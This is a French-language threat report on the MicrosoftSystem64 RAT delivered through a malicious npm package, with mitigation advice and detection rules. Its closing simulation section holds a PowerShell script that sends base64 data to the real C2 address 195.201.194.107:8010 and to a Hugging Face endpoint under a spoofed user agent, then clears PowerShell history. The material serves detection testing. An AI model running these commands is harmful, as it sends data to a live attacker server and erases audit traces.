MicrosoftSystem64 : Un RAT de la chaîne d’approvisionnement exfiltrant des données vers Hugging Face
Detection stack
- AIDR
- Alert
- ETL
- Query
Résumé
Un package npm malveillant nommé js-logger-pack a été utilisé pour distribuer une application exécutable unique Node.js multiplateforme appelée MicrosoftSystem64. Le binaire fonctionne comme un cheval de Troie d’accès à distance complet, capable de voler des extensions de portefeuille de cryptocurrent, des identifiants stockés dans le navigateur, des clés SSH, des données de session Telegram et des captures d’écran. Les informations volées sont exfiltrées par le biais de jeux de données privés de Hugging Face utilisant un jeton d’API compromis, tandis que le trafic de commande-et-contrôle est géré via un serveur WebSocket à 195.201.194.107:8010. La campagne a été liée à un acteur de menace associé à la Corée du Nord qui fait tourner les comptes npm et Hugging Face pour conserver l’accès et soutenir les opérations.
Enquêter
SafeDep a analysé l’échantillon de malware et extrait sa configuration chiffrée par XOR, le point de terminaison de commande-et-contrôle, le jeton Hugging Face, et une liste de plus de 80 IDs d’extension de portefeuille ciblés. Les chercheurs ont également examiné les méthodes de persistance utilisées sur les systèmes Windows, macOS et Linux et reconstruit la chaîne complète d’exfiltration impliquant les API de Hugging Face. Une validation en direct le 28 mai a confirmé que des ensembles de données actifs continuaient de recevoir des captures d’écran et des archives d’identifiants prises à partir de victimes réelles.
Atténuation
Les organisations devraient immédiatement supprimer tout package npm malveillant connu lié à cette campagne, faire tourner les identifiants compromis, les clés SSH, et les graines de portefeuille de cryptocurrent, et surveiller toute activité non autorisée de l’API Hugging Face. Les protections des points de terminaison devraient détecter le nom du processus MicrosoftSystem64 et toute création de tâche planifiée associée. Les contrôles réseau devraient également bloquer le trafic sortant vers l’adresse IP de commande-et-contrôle identifiée et restreindre l’accès inattendu aux points de terminaison Hugging Face à partir de binaires inconnus.
Réponse
Si MicrosoftSystem64 est détecté, isolez immédiatement le système affecté, terminez le processus malveillant, supprimez les fichiers installés et les tâches planifiées, et révoquez le jeton compromis Hugging Face. Les enquêteurs devraient rassembler des preuves médico-légales à partir des journaux et de tout chemin de données exfiltré, puis notifier les parties prenantes concernées et mettre à jour les outils de balayage de dépendance pour bloquer les packages malveillants dans les futures constructions.
Flux d’attaque
Détections
Points de persistance possibles [ASEPs – Logiciel/Ruche NTUSER] (via événement de registre)
Afficher
La Possibilité d’Exécution par des Lignes de Commande PowerShell Cachées (via cmdline)
Afficher
Un fichier .desktop Linux a été créé dans un dossier inhabituel (via événement de fichier)
Afficher
Un fichier caché a été créé sur un hôte Linux (via événement de fichier)
Afficher
IOCs (HashSha256) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace
Afficher
IOCs (SourceIP) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace
Afficher
IOCs (DestinationIP) pour détecter : Dans MicrosoftSystem64 : Un RAT de chaîne d’approvisionnement exfiltrant vers HuggingFace
Afficher
Détection de Keylogging SetWindowsHookEx par Malware [Windows Sysmon]
Afficher
Détection du RAT MicrosoftSystem64 sur les systèmes Linux [Création de processus Linux]
Afficher
Exfiltration de données du RAT Microsoft System64 via HuggingFace [Connexion réseau Windows]
Afficher
Détection de l’Exécution et de la Commande PowerShell du RAT MicrosoftSystem64 [Création de processus Windows]
Afficher
Exécution de Simulation
Prérequis : La Vérification de Prêt de Télémétrie & Base doit avoir réussi.
Raison : Cette section détaille l’exécution précise de la technique de l’adversaire (TTP) conçue pour déclencher la règle de détection. Les commandes et le récit DOIVENT refléter directement les TTPs identifiés et viser à générer la télémétrie exacte attendue par la logique de détection.
-
Narratif de l’Attaque & Commandes :
Un attaquant a déjà installé le “Microsoft System64 RAT” sur l’hôte Windows compromis. Pour exfiltrer les données volées, le RAT effectue deux actions parallèles :- Canal C2 : Ouvre une socket TCP brute vers le serveur malveillant codé en dur
195.201.194.107sur le port8010et diffuse les données encodées en base-64. - Exfil HTTP Covert : Émet une requête HTTPS
POSTàhttps://huggingface.co/api/uploadavec les mêmes données intégrées dans le corps de la requête, utilisant un agent-utilisateur à apparence légitime pour se fondre dans le trafic normal.
Les deux actions génèrent des événements de pare-feu sortants qui correspondent à la règle Sigma.
- Canal C2 : Ouvre une socket TCP brute vers le serveur malveillant codé en dur
-
Script de Test de Régression :
# ------------------------------------------------- # Simulation d'Exfiltration du RAT System64 (PowerShell) # ------------------------------------------------- # 1. Préparer des données d'exfil amoins $data = "SecretData$(Get-Date -Format o)" | ConvertTo-Json $b64 = [Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes($data)) # 2. Envoyer les données via TCP brut (C2) $c2Ip = "195.201.194.107" $c2Port = 8010 try { $tcpClient = New-Object System.Net.Sockets.TcpClient($c2Ip, $c2Port) $stream = $tcpClient.GetStream() $bytes = [Text.Encoding]::UTF8.GetBytes($b64) $stream.Write($bytes, 0, $bytes.Length) $stream.Close() $tcpClient.Close() Write-Host "[+] TCP exfil envoyé à $c2Ip:$c2Port" } catch { Write-Error "[-] Échec de la connexion TCP : $_" } # 3. Envoyer les données via HTTPS vers HuggingFace (exfil en cachette) $uri = "https://huggingface.co/api/upload" try { Invoke-WebRequest -Uri $uri ` -Method POST ` -Body @{ data = $b64 } ` -Headers @{ "User-Agent" = "Mozilla/5.0 (Windows NT 10.0; Win64; x64)" } ` -UseBasicParsing Write-Host "[+] Exfil HTTP envoyé à huggingface.co" } catch { Write-Error "[-] Échec de la requête HTTP : $_" } -
Commandes de Nettoyage :
# Supprimer tout artefact réseau restant Get-NetTCPConnection -RemoteAddress 195.201.194.107 -RemotePort 8010 | ForEach-Object { Stop-Process -Id $_.OwningProcess -Force } # Effacer l'historique PowerShell (optionnel) Clear-History